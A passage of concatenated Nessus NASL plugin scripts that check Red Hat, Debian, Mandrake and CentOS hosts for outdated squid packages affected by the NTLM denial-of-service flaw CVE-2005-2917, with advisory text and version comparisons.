
* Some authentication helpers were missing needed setuid rights.

* Squid couldn't handle a reply from a HTTP server when the reply
began with the new-line character or wasn't HTTP/1.0 or HTTP/1.1
compliant.

* User-defined error pages were not kept when the squid package was
upgraded.

All users of squid should upgrade to these updated packages, which
contain backported patches to resolve these issues."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://access.redhat.com/security/cve/cve-2005-2917"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://access.redhat.com/errata/RHSA-2006:0045"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected squid package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:redhat:enterprise_linux:squid");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:redhat:enterprise_linux:3");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/09/30");
  script_set_attribute(attribute:"patch_publication_date", value:"2006/03/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/03/16");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2006-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Red Hat Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list", "Host/cpu");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("rpm.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/RedHat/release");
if (isnull(release) || "Red Hat" >!< release) audit(AUDIT_OS_NOT, "Red Hat");
os_ver = pregmatch(pattern: "Red Hat Enterprise Linux.*release ([0-9]+(\.[0-9]+)?)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Red Hat");
os_ver = os_ver[1];
if (! preg(pattern:"^3([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Red Hat 3.x", "Red Hat " + os_ver);

if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$" && "s390" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Red Hat", cpu);

yum_updateinfo = get_kb_item("Host/RedHat/yum-updateinfo");
if (!empty_or_null(yum_updateinfo)) 
{
  rhsa = "RHSA-2006:0045";
  yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);
  if (!empty_or_null(yum_report))
  {
    security_report_v4(
      port       : 0,
      severity   : SECURITY_WARNING,
      extra      : yum_report 
    );
    exit(0);
  }
  else
  {
    audit_message = "affected by Red Hat security advisory " + rhsa;
    audit(AUDIT_OS_NOT, audit_message);
  }
}
else
{
  flag = 0;
  if (rpm_check(release:"RHEL3", reference:"squid-2.5.STABLE3-6.3E.16")) flag++;

  if (flag)
  {
    security_report_v4(
      port       : 0,
      severity   : SECURITY_WARNING,
      extra      : rpm_report_get() + redhat_report_package_caveat()
    );
    exit(0);
  }
  else
  {
    tested = pkg_tests_get();
    if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
    else audit(AUDIT_PACKAGE_NOT_INSTALLED, "squid");
  }
}

#%NASL_MIN_LEVEL 80502

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-828. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(19797);
  script_version("1.17");
  script_cvs_date("Date: 2019/08/02 13:32:19");

  script_cve_id("CVE-2005-2917");
  script_xref(name:"DSA", value:"828");

  script_name(english:"Debian DSA-828-1 : squid - authentication handling");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Upstream developers of squid, the popular WWW proxy cache, have
discovered that changes in the authentication scheme are not handled
properly when given certain request sequences while NTLM
authentication is in place, which may cause the daemon to restart."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.debian.org/security/2005/dsa-828"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Upgrade the squid packages.

The old stable distribution (woody) is not affected by this problem.

For the stable distribution (sarge) this problem has been fixed in
version 2.5.9-10sarge2."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:squid");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:3.1");

  script_set_attribute(attribute:"patch_publication_date", value:"2005/09/30");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/10/05");
  script_set_attribute(attribute:"vuln_publication_date", value:"2005/09/12");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2005-2019 Tenable Network Security, Inc.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"3.1", prefix:"squid", reference:"2.5.9-10sarge2")) flag++;
if (deb_check(release:"3.1", prefix:"squid-cgi", reference:"2.5.9-10sarge2")) flag++;
if (deb_check(release:"3.1", prefix:"squid-common", reference:"2.5.9-10sarge2")) flag++;
if (deb_check(release:"3.1", prefix:"squidclient", reference:"2.5.9-10sarge2")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#%NASL_MIN_LEVEL 80502

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Mandrake Linux Security Advisory MDKSA-2005:181. 
# The text itself is copyright (C) Mandriva S.A.
#

include("compat.inc");

if (description)
{
  script_id(20041);
  script_version ("1.17");
  script_cvs_date("Date: 2019/08/02 13:32:48");

  script_cve_id("CVE-2005-2917");
  script_xref(name:"MDKSA", value:"2005:181");

  script_name(english:"Mandrake Linux Security Advisory : squid (MDKSA-2005:181)");
  script_summary(english:"Checks rpm output for the updated packages");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Mandrake Linux host is missing one or more security
updates."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Squid 2.5.9, while performing NTLM authentication, does not properly
handle certain request sequences, which allows attackers to cause a
denial of service (daemon restart).

The updated packages have been patched to address these issues."
  );
  script_set_attribute(
    attribute:"solution", 
    value:"Update the affected squid and / or squid-cachemgr packages."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:mandriva:linux:squid");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:mandriva:linux:squid-cachemgr");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:mandrakesoft:mandrake_linux:10.1");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:mandriva:linux:2006");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/o:mandrakesoft:mandrake_linux:le2005");

  script_set_attribute(attribute:"patch_publication_date", value:"2005/10/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/10/19");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2005-2019 Tenable Network Security, Inc.");
  script_family(english:"Mandriva Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/cpu", "Host/Mandrake/release", "Host/Mandrake/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Mandrake/release")) audit(AUDIT_OS_NOT, "Mandriva / Mandake Linux");
if (!get_kb_item("Host/Mandrake/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if (cpu !~ "^(amd64|i[3-6]86|x86_64)$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Mandriva / Mandrake Linux", cpu);


flag = 0;
if (rpm_check(release:"MDK10.1", reference:"squid-2.5.STABLE9-1.4.101mdk", yank:"mdk")) flag++;

if (rpm_check(release:"MDK10.2", reference:"squid-2.5.STABLE9-1.4.102mdk", yank:"mdk")) flag++;

if (rpm_check(release:"MDK2006.0", reference:"squid-2.5.STABLE10-10.1.20060mdk", yank:"mdk")) flag++;
if (rpm_check(release:"MDK2006.0", reference:"squid-cachemgr-2.5.STABLE10-10.1.20060mdk", yank:"mdk")) flag++;


if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Red Hat Security Advisory RHSA-2006:0045 and 
# CentOS Errata and Security Advisory 2006:0045 respectively.
#

include("compat.inc");

if (description)
{
  script_id(21879);
  script_version("1.15");
  script_cvs_date("Date: 2019/10/25 13:36:03");

  script_cve_id("CVE-2005-2917");
  script_xref(name:"RHSA", value:"2006:0045");

  script_name(english:"CentOS 3 : squid (CESA-2006:0045)");
  script_summary(english:"Checks rpm output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote CentOS host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Updated squid packages that fix a security vulnerability as well as
several bugs are now available.

This update has been rated as having moderate security impact by the
Red Hat Security Response Team.

Squid is a high-performance proxy caching server for Web clients,
supporting FTP, gopher, and HTTP data objects.

A denial of service flaw was found in the way squid processes certain
NTLM authentication requests. A remote attacker could send a specially
crafted NTLM authentication request which would cause the Squid server
to crash. The Common Vulnerabilities and Exposures project assigned
the name CVE-2005-2917 to this issue.

Several bugs have also been addressed in this update :

* An error introduced in 2.5.STABLE3-6.3E.14 where Squid can crash if
a user visits a site which has a long DNS record.

* Some authentication helpers were missing needed setuid rights.

* Squid couldn't handle a reply from a HTTP server when the reply
began with the new-line character or wasn't HTTP/1.0 or HTTP/1.1
compliant.

* User-defined error pages were not kept when the squid package was
upgraded.

All users of squid should upgrade to these updated packages, which
contain backported patches to resolve these issues."
  );
  # https://lists.centos.org/pipermail/centos-announce/2006-March/012742.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?b34aaf15"
  );
  # https://lists.centos.org/pipermail/centos-announce/2006-March/012743.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?cf20e8ad"
  );
  # https://lists.centos.org/pipermail/centos-announce/2006-March/012759.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?a60dc0b5"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected squid package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:squid");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:centos:centos:3");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/09/30");
  script_set_attribute(attribute:"patch_publication_date", value:"2006/03/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/07/03");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2006-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"CentOS Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/CentOS/release", "Host/CentOS/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/CentOS/release");
if (isnull(release) || "CentOS" >!< release) audit(AUDIT_OS_NOT, "CentOS");
os_ver = pregmatch(pattern: "CentOS(?: Linux)? release ([0-9]+)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "CentOS");
os_ver = os_ver[1];
if (! preg(pattern:"^3([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "CentOS 3.x", "CentOS " + os_ver);

if (!get_kb_item("Host/CentOS/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && "ia64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "CentOS", cpu);


flag = 0;
if (rpm_check(release:"CentOS-3", reference:"squid-2.5.STABLE3-6.3E.16")) flag++;


if (flag)
{
  security_report_v4(
    port       : 0,
    severity   : SECURITY_WARNING,
    extra      : rpm_report_get()
  );
  exit(0);
}
else
{
  tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "squid");
}